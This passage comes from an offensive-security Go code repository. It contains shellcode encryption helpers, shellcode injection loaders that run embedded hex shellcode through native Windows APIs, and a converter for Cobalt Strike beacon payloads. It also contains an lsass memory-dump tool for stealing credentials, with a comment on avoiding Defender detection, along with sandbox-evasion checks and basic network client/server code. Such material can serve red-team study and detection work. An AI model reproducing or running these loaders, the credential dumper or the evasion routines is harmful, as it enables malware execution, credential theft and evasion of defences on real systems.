__declspec(dllexport) void* find_memory_role(SIZE_T func_address, HANDLE h_process); 17 | 18 | #ifdef __cplusplus 19 | } 20 | #endif 21 | 22 | #endif // THREADLESS_INJECTION_WRAPPER_H 23 | -------------------------------------------------------------------------------- /crypto/aes.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "fmt" 8 | "log" 9 | ) 10 | 11 | // Taken from : https://github.com/HZzz2/go-shellcode-loader/blob/main/go-sc.go 12 | 13 | // Example usage 14 | func main() { 15 | shellcode := []byte("Im a shellcode") 16 | // Key must be 16 bytes 17 | key := []byte("OffensiveGolang1") 18 | 19 | a := NewAes() 20 | src, err := a.Encrypt(shellcode, key) 21 | if err != nil { 22 | log.Fatal("Error while encrypting AES : ", err) 23 | } 24 | fmt.Println("Encrypted shellcode: ", string(src)) 25 | 26 | out, err := a.Decrypt(src, key) 27 | if err != nil { 28 | log.Fatal("Error while encrypting AES : ", err) 29 | } 30 | fmt.Println("Decrypted shellcode: ", string(out)) 31 | } 32 | 33 | type Aes struct{} 34 | 35 | func NewAes() *Aes { 36 | return &Aes{} 37 | } 38 | 39 | // pad payload with to reach block size (PKCS#7 padding) 40 | func (a *Aes) pad(str []byte, blockSize int) []byte { 41 | paddingCount := blockSize - len(str)%blockSize 42 | paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount) 43 | newPaddingStr := append(str, paddingStr...) 44 | return newPaddingStr 45 | } 46 | 47 | // Encrypt with AES-CBC 48 | func (a *Aes) Encrypt(src, key []byte) ([]byte, error) { 49 | block, err := aes.NewCipher(key) 50 | if err != nil { 51 | return nil, err 52 | } 53 | src = a.pad(src, block.BlockSize()) 54 | blockMode := cipher.NewCBCEncrypter(block, key) 55 | blockMode.CryptBlocks(src, src) 56 | return src, nil 57 | 58 | } 59 | 60 | // Unpad payload 61 | func (a *Aes) unPad(str []byte) []byte { 62 | n := len(str) 63 | count := int(str[n-1]) 64 | newPaddingText := str[:n-count] 65 | return newPaddingText 66 | } 67 | 68 | // Decrypt with AES-CBC 69 | func (a *Aes) Decrypt(src, key []byte) ([]byte, error) { 70 | block, err := aes.NewCipher(key) 71 | if err != nil { 72 | fmt.Println(err) 73 | return nil, err 74 | } 75 | blockMode := cipher.NewCBCDecrypter(block, key) 76 | blockMode.CryptBlocks(src, src) 77 | src = a.unPad(src) 78 | return src, nil 79 | } 80 | -------------------------------------------------------------------------------- /crypto/chacha20.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/cipher" 5 | "errors" 6 | "fmt" 7 | "golang.org/x/crypto/chacha20poly1305" 8 | "log" 9 | ) 10 | 11 | //https://github.com/alinz/crypto.go/blob/main/chacha20.go 12 | 13 | func main() { 14 | shellcode := []byte("Im a shellcode") 15 | // Key must be 32 bytes 16 | key := []byte("OffensiveGolang1OffensiveGolang1") 17 | 18 | chacha := NewChaCha20() 19 | src, err := chacha.Encrypt(shellcode, key) 20 | if err != nil { 21 | log.Fatal("Error while encrypting chacha20 : ", err) 22 | } 23 | fmt.Println("Encrypted shellcode: ", string(src)) 24 | 25 | out, err := chacha.Decrypt(src, key) 26 | if err != nil { 27 | log.Fatal("Error while decrypting chacha20 : ", err) 28 | } 29 | fmt.Println("Decrypted shellcode: ", string(out)) 30 | } 31 | 32 | type ChaCha20 struct{} 33 | 34 | func NewChaCha20() *ChaCha20 { 35 | return &ChaCha20{} 36 | } 37 | 38 | func (c *ChaCha20) prepareKey(key []byte) (cipher.AEAD, int, error) { 39 | aead, err := chacha20poly1305.NewX(key) 40 | if err != nil { 41 | return nil, 0, err 42 | } 43 | return aead, aead.NonceSize(), nil 44 | } 45 | 46 | // Encrypt encrypts data using given key 47 | func (c *ChaCha20) Encrypt(data []byte, key []byte) ([]byte, error) { 48 | aead, nonceSize, err := c.prepareKey(key) 49 | if err != nil { 50 | return nil, err 51 | } 52 | 53 | // Select a random nonce, and leave capacity for the ciphertext. 54 | nonce := make([]byte, nonceSize, nonceSize+len(data)+aead.Overhead()) 55 | 56 | // Encrypt the message and append the ciphertext to the nonce. 57 | return aead.Seal(nonce, nonce, data, nil), nil 58 | } 59 | 60 | // DecryptChaCha decrypts data using given key 61 | func (c *ChaCha20) Decrypt(data []byte, key []byte) ([]byte, error) { 62 | aead, nonceSize, err := c.prepareKey(key) 63 | if err != nil { 64 | return nil, err 65 | } 66 | 67 | if len(data) < nonceSize { 68 | return nil, errors.New("ciphertext too short") 69 | } 70 | 71 | // Split nonce and ciphertext. 72 | nonce, ciphertext := data[:nonceSize], data[nonceSize:] 73 | 74 | // Decrypt the message and check it wasn't tampered with. 75 | plaintext, err := aead.Open(nil, nonce, ciphertext, nil) 76 | if err != nil { 77 | if err.Error() == "chacha20poly1305: message authentication failed" { 78 | return nil, errors.New("wrong key") 79 | } 80 | return nil, err 81 | } 82 | return plaintext, nil 83 | } 84 | -------------------------------------------------------------------------------- /crypto/rc4.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rc4" 5 | "fmt" 6 | "log" 7 | ) 8 | 9 | // Taken from : https://github.com/firdasafridi/gocrypt/blob/main/rc4.go 10 | 11 | // Example usage 12 | func main() { 13 | shellcode := []byte("Im a shellcode") 14 | // Key must be 16 bytes 15 | key := []byte("OffensiveGolang1") 16 | 17 | r := NewRC4() 18 | enc, err := r.Encrypt(shellcode, key) 19 | if err != nil { 20 | log.Fatal("Error while encrypting rc4: ", err) 21 | } 22 | fmt.Println("Encrypted shellcode:", string(enc)) 23 | plain, err := r.Decrypt(enc, key) 24 | if err != nil { 25 | log.Fatal("Error while decrypting rc4: ", err) 26 | } 27 | fmt.Println("Decrypted shellcode:", string(plain)) 28 | } 29 | 30 | // RC4 is the aes option structure 31 | type RC4 struct { 32 | } 33 | 34 | // NewRC4 is a function to create new configuration of aes algorithm option 35 | // the secret must be hexa a-f & 0-9 36 | func NewRC4() *RC4 { 37 | return &RC4{} 38 | } 39 | 40 | // Encrypt encrypts the first block in src into dst. 41 | // Dst and src may point at the same memory. 42 | func (rc4Opt *RC4) Encrypt(src []byte, key []byte) ([]byte, error) { 43 | cipher, err := rc4.NewCipher(key) 44 | if err != nil { 45 | return nil, err 46 | } 47 | dst := make([]byte, len(src)) 48 | cipher.XORKeyStream(dst, src) 49 | return dst, nil 50 | } 51 | 52 | // Decrypt decrypts the first block in src into dst. 53 | // Dst and src may point at the same memory. 54 | func (rc4Opt *RC4) Decrypt(src []byte, key []byte) ([]byte, error) { 55 | cipher, err := rc4.NewCipher(key) 56 | if err != nil { 57 | return nil, err 58 | } 59 | dst := make([]byte, len(src)) 60 | cipher.XORKeyStream(dst, src) 61 | return dst, nil 62 | } 63 | -------------------------------------------------------------------------------- /crypto/xor.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // Example usage 8 | func main() { 9 | // Calc 10 | shellcode := []byte("Im a shellcode") 11 | // Xor shellcode with key 12 | key := []byte("key") 13 | enc := Xor(shellcode, key) 14 | fmt.Println("Encrypted shellcode:", string(enc)) 15 | out := Xor(shellcode, key) 16 | fmt.Println("Decrypted shellcode:", string(out)) 17 | } 18 | 19 | func Xor(data []byte, key []byte) []byte { 20 | for i := 0; i < len(data); i++ { 21 | data[i] ^= key[i%len(key)] 22 | } 23 | return data 24 | } 25 | -------------------------------------------------------------------------------- /injection_native_apc/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | //Inspired from : 4 | //https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go 5 | //https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/NtQueueApcThreadEx-Local/main.go 6 | 7 | import ( 8 | "encoding/hex" 9 | "fmt" 10 | "golang.org/x/sys/windows" 11 | "log" 12 | "unsafe" 13 | ) 14 | 15 | // https://docs.microsoft.com/en-us/windows/win32/midl/enum 16 | const ( 17 | QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 1 18 | ) 19 | 20 | //Inspired from : https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go 21 | 22 | func main() { 23 | shellcode, _ := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") 24 | 25 | ntdll := windows.NewLazySystemDLL("ntdll.dll") 26 | ntAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory") 27 | ntProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") 28 | NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx") 29 | 30 | var baseA uintptr 31 | var handle = uintptr(0xffffffffffffffff) 32 | var oldprotect uintptr 33 | 34 | shellcodeSize := uintptr(len(shellcode)) 35 | 36 | //https://www.pinvoke.net/default.aspx/ntdll.NtAllocateVirtualMemory 37 | _, _, err := ntAllocateVirtualMemory.Call( //NtAllocateVirtualMemory 38 | handle, 39 | uintptr(unsafe.Pointer(&baseA)), 40 | 0, 41 | uintptr(unsafe.Pointer(&shellcodeSize)), 42 | windows.MEM_COMMIT|windows.MEM_RESERVE, 43 | windows.PAGE_READWRITE, 44 | ) 45 | if err.Error() != "The operation completed successfully." { 46 | log.Fatal("Error calling ntAllocateVirtualMemory:", err) 47 | } 48 | memcpy(baseA, shellcode) 49 | 50 | //https://www.pinvoke.net/default.aspx/ntdll.NtProtectVirtualMemory 51 | _, _, err = ntProtectVirtualMemory.Call( //NtProtectVirtualMemory 52 | handle, 53 | uintptr(unsafe.Pointer(&baseA)), 54 | uintptr(unsafe.Pointer(&shellcodeSize)), 55 | windows.PAGE_EXECUTE_READ, 56 | uintptr(unsafe.Pointer(&oldprotect)), 57 | ) 58 | if err.Error() != "The operation completed successfully." { 59 | log.Fatal("Error calling ntProtectVirtualMemory:", err) 60 | } 61 | 62 | thread := windows.CurrentThread() 63 | 64 | //http://www.pinvoke.net/default.aspx/ntdll/NtQueueApcThreadEx.html?diff=y 65 | _, _, err = NtQueueApcThreadEx.Call( 66 | uintptr(thread), 67 | QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, 68 | baseA, 69 | 0, 70 | 0, 71 | 0, 72 | ) 73 | if err.Error() != "The operation completed successfully." { 74 | log.Fatal(fmt.Sprintf("Error calling NtQueueApcThreadEx:\n%s", err)) 75 | } 76 | } 77 | 78 | // memcpy in golang from https://github.com/timwhitez/Doge-Gabh/blob/main/example/shellcodecalc/calc.go 79 | func memcpy(base uintptr, buf []byte) { 80 | for i := 0; i < len(buf); i++ { 81 | *(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i] 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /injection_thread/createThread/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "golang.org/x/sys/windows" 6 | "log" 7 | "unsafe" 8 | ) 9 | 10 | var ( 11 | kernel32 = windows.NewLazySystemDLL("kernel32.dll") 12 | rtlCopyMemory = kernel32.NewProc("RtlCopyMemory") 13 | createThread = kernel32.NewProc("CreateThread") 14 | ) 15 | 16 | func main() { 17 | shellcode, _ := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") 18 | 19 | shellcodeExec, err := windows.VirtualAlloc( 20 | uintptr(0), 21 | uintptr(len(shellcode)), 22 | windows.MEM_COMMIT|windows.MEM_RESERVE, 23 | windows.PAGE_READWRITE) 24 | if err != nil { 25 | log.Fatal("Error while VirtualAlloc:", err) 26 | } 27 | 28 | _, _, err = rtlCopyMemory.Call( 29 | shellcodeExec, 30 | (uintptr)(unsafe.Pointer(&shellcode[0])), 31 | uintptr(len(shellcode))) 32 | if err.Error() != "The operation completed successfully." { 33 | log.Fatal("Error while RtlCopyMemory:", err) 34 | } 35 | 36 | var oldProtect uint32 37 | err = windows.VirtualProtect( 38 | shellcodeExec, 39 | uintptr(len(shellcode)), 40 | windows.PAGE_EXECUTE_READ, 41 | &oldProtect) 42 | if err != nil { 43 | log.Fatal("Error while VirtualProtect:", err) 44 | } 45 | 46 | hThread, _, err := createThread.Call( 47 | 0, 48 | 0, 49 | shellcodeExec, 50 | uintptr(0), 51 | 0, 52 | 0) 53 | 54 | if err.Error() != "The operation completed successfully." { 55 | log.Fatal("Error while CreateThread:", err) 56 | } 57 | 58 | _, err = windows.WaitForSingleObject( 59 | windows.Handle(hThread), 60 | windows.INFINITE) 61 | if err != nil { 62 | log.Fatal("Error while WaitForSingleObject:", err) 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /injection_thread/ntCreateThreadEx/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "golang.org/x/sys/windows" 6 | "log" 7 | "unsafe" 8 | ) 9 | 10 | //Inspired from : https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go 11 | 12 | func main() { 13 | shellcode, _ := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") 14 | 15 | ntdll := windows.NewLazySystemDLL("ntdll.dll") 16 | ntAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory") 17 | ntProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") 18 | ntCreateThreadEx := ntdll.NewProc("NtCreateThreadEx") 19 | 20 | var baseA uintptr 21 | var handle = uintptr(0xffffffffffffffff) 22 | var oldprotect uintptr 23 | var hhosthread uintptr 24 | 25 | shellcodeSize := uintptr(len(shellcode)) 26 | 27 | //https://www.pinvoke.net/default.aspx/ntdll.NtAllocateVirtualMemory 28 | _, _, err := ntAllocateVirtualMemory.Call( //NtAllocateVirtualMemory 29 | handle, 30 | uintptr(unsafe.Pointer(&baseA)), 31 | 0, 32 | uintptr(unsafe.Pointer(&shellcodeSize)), 33 | windows.MEM_COMMIT|windows.MEM_RESERVE, 34 | windows.PAGE_READWRITE, 35 | ) 36 | if err.Error() != "The operation completed successfully." { 37 | log.Fatal("Error while ntAllocateVirtualMemory:", err) 38 | } 39 | memcpy(baseA, shellcode) 40 | 41 | //https://www.pinvoke.net/default.aspx/ntdll.NtProtectVirtualMemory 42 | _, _, err = ntProtectVirtualMemory.Call( //NtProtectVirtualMemory 43 | handle, 44 | uintptr(unsafe.Pointer(&baseA)), 45 | uintptr(unsafe.Pointer(&shellcodeSize)), 46 | windows.PAGE_EXECUTE_READ, 47 | uintptr(unsafe.Pointer(&oldprotect)), 48 | ) 49 | if err.Error() != "The operation completed successfully." { 50 | log.Fatal("Error while ntProtectVirtualMemory:", err) 51 | } 52 | 53 | //https://www.pinvoke.net/default.aspx/ntdll.NtCreateThreadEx 54 | _, _, err = ntCreateThreadEx.Call( //NtCreateThreadEx 55 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 56 | 0x1FFFFF, //desiredaccess 57 | 0, //objattributes 58 | handle, //processhandle 59 | baseA, //lpstartaddress 60 | 0, //lpparam 61 | uintptr(0), //createsuspended 62 | 0, //zerobits 63 | 0, //sizeofstackcommit 64 | 0, //sizeofstackreserve 65 | 0, //lpbytesbuffer 66 | ) 67 | if err.Error() != "The operation completed successfully." { 68 | log.Fatal("Error while ntCreateThreadEx:", err) 69 | } 70 | _, err = windows.WaitForSingleObject( 71 | windows.Handle(handle), 72 | windows.INFINITE, 73 | ) 74 | if err != nil { 75 | log.Fatal("Error while WaitForSingleObject:", err) 76 | } 77 | } 78 | 79 | // memcpy in golang from https://github.com/timwhitez/Doge-Gabh/blob/main/example/shellcodecalc/calc.go 80 | func memcpy(base uintptr, buf []byte) { 81 | for i := 0; i < len(buf); i++ { 82 | *(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i] 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /instrumentation_callback/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | 4 | import ( 5 | "unsafe" 6 | "syscall" 7 | ) 8 | 9 | 10 | const ( 11 | ProcessInstrumentationCallback = 40 12 | ) 13 | 14 | type PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION struct { 15 | Version uint32 16 | Reserved uint32 17 | Callback uintptr 18 | } 19 | 20 | 21 | func main() { 22 | NtSetInformationProcess := syscall.NewLazyDLL("ntdll").NewProc("NtSetInformationProcess") 23 | 24 | var InstrumentationCallbackInfo PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION 25 | 26 | InstrumentationCallbackInfo.Version = 0x0 27 | InstrumentationCallbackInfo.Reserved = 0x0 28 | InstrumentationCallbackInfo.Callback = 0x0 29 | 30 | NtSetInformationProcess.Call( uintptr( 0xffffffffffffffff ), 31 | ProcessInstrumentationCallback, 32 | uintptr( unsafe.Pointer( &InstrumentationCallbackInfo ) ), 33 | unsafe.Sizeof( InstrumentationCallbackInfo ) ) 34 | } 35 | -------------------------------------------------------------------------------- /misc/convert_to_golang_shellcode_format.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Converts a Cobalt Strike shellcode from C format to Golang format, usage : > bash convert_to_golang_shellcode_format.sh payload.c 4 | # 5 | # 6 | 7 | # take "payload.c" shellcode beacon 8 | beacon_file="$1" 9 | 10 | beacon_file_contents=$(<"$beacon_file") 11 | 12 | go_shellcode=$( echo "$beacon_file_contents" | sed 's/unsigned char buf\[\] = "\(.*\)"/buf = []byte{ \1 }/' ) 13 | go_shellcode=$( echo "$go_shellcode" | sed 's/\\x\([0-9A-Fa-f][0-9A-Fa-f]\)/0x\1, /g' ) 14 | 15 | echo "$go_shellcode" 16 | 17 | -------------------------------------------------------------------------------- /network/http/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net/http" 8 | "time" 9 | ) 10 | 11 | // TODO: avoid Go-Http-client user agent 12 | 13 | func main() { 14 | host := "http://127.0.0.1:8080/ping" 15 | request, err := getRequest(host) 16 | if err != nil { 17 | log.Fatal("Error connecting to the server: ", err) 18 | } 19 | fmt.Println("Response:", string(request)) 20 | } 21 | 22 | func getRequest(url string) ([]byte, error) { 23 | var body []byte 24 | c := http.Client{Timeout: time.Duration(3) * time.Second} 25 | req, err := http.NewRequest("GET", url, nil) 26 | if err != nil { 27 | return body, err 28 | } 29 | resp, err := c.Do(req) 30 | if err != nil { 31 | return nil, err 32 | } 33 | body, err = io.ReadAll(resp.Body) 34 | if err != nil { 35 | return body, err 36 | } 37 | return body, nil 38 | } 39 | -------------------------------------------------------------------------------- /network/http/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gin-gonic/gin" 6 | "log" 7 | ) 8 | 9 | func main() { 10 | gin.SetMode(gin.ReleaseMode) 11 | r := gin.Default() 12 | // Ping handler 13 | r.GET("/ping", handler) 14 | address := "127.0.0.1:8080" 15 | fmt.Println("Listening on", address) 16 | err := r.Run(address) 17 | if err != nil { 18 | log.Fatal("Error while starting the web server: ", err) 19 | } 20 | } 21 | 22 | func handler(c *gin.Context) { 23 | c.String(200, "pong") 24 | } 25 | -------------------------------------------------------------------------------- /network/pipes/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/Microsoft/go-winio" 6 | "log" 7 | ) 8 | 9 | func main() { 10 | pipePath := `\\.\pipe\mypipename` 11 | 12 | f, err := winio.DialPipe(pipePath, nil) 13 | if err != nil { 14 | log.Fatal("Error while reading pipe: ", err) 15 | } 16 | defer f.Close() 17 | n, err := f.Write([]byte("Hello World!")) 18 | if err != nil { 19 | log.Fatal("Error while writing: ", err) 20 | } 21 | fmt.Println("wrote:", n) 22 | } 23 | -------------------------------------------------------------------------------- /network/pipes/sever.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | Modified from https://stackoverflow.com/questions/71196548/receive-message-with-windows-named-pipe-in-golang-and-winio 5 | */ 6 | 7 | import ( 8 | "fmt" 9 | "github.com/Microsoft/go-winio" 10 | "io" 11 | "log" 12 | "net" 13 | ) 14 | 15 | func handleClient(c net.Conn) { 16 | defer c.Close() 17 | fmt.Println("Client connected", c.RemoteAddr().Network()) 18 | 19 | buf := make([]byte, 512) 20 | for { 21 | n, err := c.Read(buf) 22 | if err != nil { 23 | if err != io.EOF { 24 | log.Fatal("Error while reading: ", err) 25 | } 26 | break 27 | } 28 | str := string(buf[:n]) 29 | fmt.Printf("read %d bytes: %q\n", n, str) 30 | } 31 | fmt.Println("Client disconnected") 32 | } 33 | 34 | func main() { 35 | pipePath := `\\.\pipe\mypipename` 36 | 37 | l, err := winio.ListenPipe(pipePath, nil) 38 | if err != nil { 39 | log.Fatal("Error while listening: ", err) 40 | } 41 | defer l.Close() 42 | fmt.Println("Server listening on pipe", pipePath) 43 | 44 | for { 45 | conn, err := l.Accept() 46 | if err != nil { 47 | log.Fatal("Error while accept: ", err) 48 | } 49 | go handleClient(conn) 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /network/tcp/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | ) 8 | 9 | func main() { 10 | conn, err := net.Dial("tcp", "127.0.0.1:1338") 11 | if err != nil { 12 | log.Fatal("Error while connecting to server: ", err) 13 | } 14 | _, err = conn.Write([]byte("Hello World!")) 15 | if err != nil { 16 | log.Fatal("Error while writing to target: ", err) 17 | } 18 | fmt.Println("[*] Message sent to the server") 19 | defer conn.Close() 20 | } 21 | -------------------------------------------------------------------------------- /network/tcp/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | ) 8 | 9 | func main() { 10 | listener, err := net.Listen("tcp", "127.0.0.1:1338") 11 | if err != nil { 12 | log.Fatal("Error while listening: ", err) 13 | } 14 | fmt.Println("[*] Server is running on port 1337") 15 | defer listener.Close() 16 | for { 17 | conn, err := listener.Accept() 18 | if err != nil { 19 | log.Fatal("Error while accepting connection: ", err) 20 | } 21 | 22 | fmt.Println("[*] Accepted a new TCP connection.") 23 | go handleConn(conn) 24 | } 25 | } 26 | 27 | func handleConn(conn net.Conn) { 28 | defer conn.Close() 29 | bytes := make([]byte, 1024) 30 | for { 31 | n, err := conn.Read(bytes) 32 | if err != nil { 33 | log.Println("Error while reading:", err) 34 | return 35 | } 36 | 37 | fmt.Println("Received:", string(bytes[:n])) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /process_dump/process_dump.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "golang.org/x/sys/windows" 6 | "log" 7 | "os" 8 | ) 9 | 10 | const ( 11 | PROCESS_ALL_ACCESS = 0x1F0FFF 12 | processEntrySize = 568 13 | MiniDumpWithFullMemory = 0x00000002 14 | ) 15 | 16 | var ( 17 | dbghelp = windows.NewLazyDLL("dbghelp.dll") 18 | miniDumpWriteDumpWin32 = dbghelp.NewProc("MiniDumpWriteDump") 19 | ) 20 | 21 | func main() { 22 | outfile := "dump.dmp" 23 | //Get Pid 24 | fmt.Println("[*] Get process id") 25 | pid, err := getProcessID("lsass.exe") 26 | if err != nil { 27 | log.Fatal("Error while getting process id", err) 28 | } 29 | //Create Dumpfile 30 | hFile, err := windows.Open(outfile, windows.O_RDWR|windows.O_CREAT, 0777) 31 | if err != nil { 32 | log.Fatal("Error while creating dumpfile: ", err) 33 | } 34 | //Open lsass handle 35 | fmt.Println("[*] Open lsass handle") 36 | lsassHandle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, pid) 37 | if err != nil { 38 | log.Fatal("Error while opening process: ", err) 39 | } 40 | //Dump lsass with pid 0 41 | fmt.Println("[*] Dump lsass") 42 | miniDumpWriteDump(uintptr(lsassHandle), uintptr(0), uintptr(hFile), MiniDumpWithFullMemory) 43 | //It somehow prevents defender to flag the dump file 44 | _, err = os.ReadFile("dump.dmp") 45 | if err != nil { 46 | log.Fatal("Error while dumping process : ", err) 47 | } 48 | } 49 | 50 | // https://stackoverflow.com/questions/11356264/list-of-currently-running-process-in-golang-windows-version 51 | func getProcessID(name string) (uint32, error) { 52 | h, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) 53 | if err != nil { 54 | return 0, err 55 | } 56 | p := windows.ProcessEntry32{Size: processEntrySize} 57 | for { 58 | err = windows.Process32Next(h, &p) 59 | if err != nil { 60 | return 0, err 61 | } 62 | if windows.UTF16ToString(p.ExeFile[:]) == name { 63 | return p.ProcessID, nil 64 | } 65 | } 66 | } 67 | 68 | // https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump 69 | func miniDumpWriteDump(hProcess uintptr, ProcessId uintptr, 70 | hFile uintptr, DumpType uintptr) { 71 | miniDumpWriteDumpWin32.Call(hProcess, 72 | ProcessId, 73 | hFile, 74 | DumpType, 75 | 0, 76 | 0, 77 | 0) 78 | } 79 | -------------------------------------------------------------------------------- /sandbox/fingerprint.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "syscall" 5 | "golang.org/x/sys/windows" 6 | "math/rand" 7 | "time" 8 | "unsafe" 9 | "fmt" 10 | "net/http" 11 | ) 12 | 13 | var ( 14 | k32 = windows.NewLazySystemDLL("kernel32.dll") 15 | netapi32 = windows.NewLazySystemDLL("netapi32.dll") 16 | 17 | VirtualAllocExNuma = k32.NewProc("VirtualAllocExNuma") 18 | VirtualFreeEx = k32.NewProc("VirtualFreeEx") 19 | GetCurrentProcess = k32.NewProc("GetCurrentProcess") 20 | GetComputerName = k32.NewProc("GetComputerNameW") 21 | GetPhysicallyInstalledSystemMemory = k32.NewProc("GetPhysicallyInstalledSystemMemory") 22 | NetWkstaGetInfo = netapi32.NewProc("NetWkstaGetInfo") 23 | ) 24 | 25 | func main() { 26 | // VAllocExNuma 27 | b1 := isSandboxedNuma() 28 | // Sleep skip or not ? 29 | b2 := isSandboxedSleep() 30 | // Detonate on hostname 31 | b3 := isHost("CASTELBLACK") 32 | // Domain-joined check 33 | b4 := isDomainJoined() // WORKGROUP 34 | // Check if ram is less than 1GB 35 | b5 := checkRam() 36 | // Check if a random url exist 37 | b6 := checkUrl() 38 | 39 | 40 | // Either one 41 | isSandboxed := b1 || b2 || b3 || b4 || b5 || b6 42 | fmt.Println(isSandboxed) 43 | } 44 | 45 | func isSandboxedNuma() bool { 46 | pHandle, _, err := GetCurrentProcess.Call() 47 | 48 | _, _,err = VirtualAllocExNuma.Call( 49 | pHandle, 50 | 0, 51 | 0x1000, 52 | windows.MEM_COMMIT|windows.MEM_RESERVE, 53 | windows.PAGE_EXECUTE_READ, 54 | 0) 55 | 56 | if err != nil && err.Error() != "The operation completed successfully."{ 57 | return true 58 | } 59 | return false 60 | } 61 | 62 | func isSandboxedSleep() bool { 63 | rand.Seed(time.Now().UnixNano()) 64 | sleepTime := rand.Intn(10000-5000) + 5000 65 | margin := sleepTime - 500 66 | before := time.Now() 67 | time.Sleep(time.Duration(sleepTime) * time.Millisecond) 68 | if time.Now().Sub(before).Milliseconds() < int64(margin) { 69 | return true 70 | } 71 | return false 72 | } 73 | 74 | func isHost(name string) bool { 75 | const maxLen = 128 76 | var buf [maxLen]uint16 77 | var size uint32 = maxLen 78 | GetComputerName.Call( 79 | uintptr(unsafe.Pointer(&buf[0])), 80 | uintptr(unsafe.Pointer(&size)), 81 | ) 82 | 83 | machine_name := syscall.UTF16ToString(buf[:]) 84 | fmt.Println(machine_name) 85 | return (machine_name != name) 86 | } 87 | 88 | func isDomainJoined() bool { 89 | type WKSTA_INFO_100 struct { 90 | Wki100_platform_id uint32 91 | Wki100_computername *uint16 92 | Wki100_langroup *uint16 93 | Wki100_ver_major uint32 94 | Wki100_ver_minor uint32 95 | } 96 | 97 | var dataPointer uintptr 98 | NetWkstaGetInfo.Call( 99 | uintptr(0), 100 | uintptr(uint32(100)), // WKSTA_INFO_100 101 | uintptr(unsafe.Pointer(&dataPointer)), 102 | ) 103 | var data = (*WKSTA_INFO_100)(unsafe.Pointer(dataPointer)) 104 | domain_name := syscall.UTF16ToString((*[4096]uint16)(unsafe.Pointer(data.Wki100_langroup))[:]) 105 | fmt.Println(domain_name) 106 | return (domain_name == "WORKGROUP") // Check if machine is domain-joined 107 | } 108 | 109 | // checkRam checks if the system has less than 1GB of ram 110 | func checkRam() bool { 111 | var mem uint64 112 | GetPhysicallyInstalledSystemMemory.Call(uintptr(unsafe.Pointer(&mem))) 113 | // if ram is less than 1GB, return false 114 | return mem < 1000000 115 | } 116 | 117 | // checkUrl checks if a random url exist 118 | func checkUrl() bool { 119 | letters := []rune("abcdefghijklmnopqrstuvwxyz") 120 | s1 := rand.NewSource(time.Now().UnixNano()) 121 | r1 := rand.New(s1) 122 | b := make([]rune, 8) 123 | for i := range b { 124 | b[i] = letters[r1.Intn(len(letters))] 125 | } 126 | url := "http://" + string(b) + ".com" 127 | _, err := http.Get(url) 128 | if err == nil { 129 | // if the url exists, return true 130 | return true 131 | } 132 | return false 133 | } 134 | 135 | -------------------------------------------------------------------------------- /self_remove/self_remove.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "golang.org/x/sys/windows" 6 | 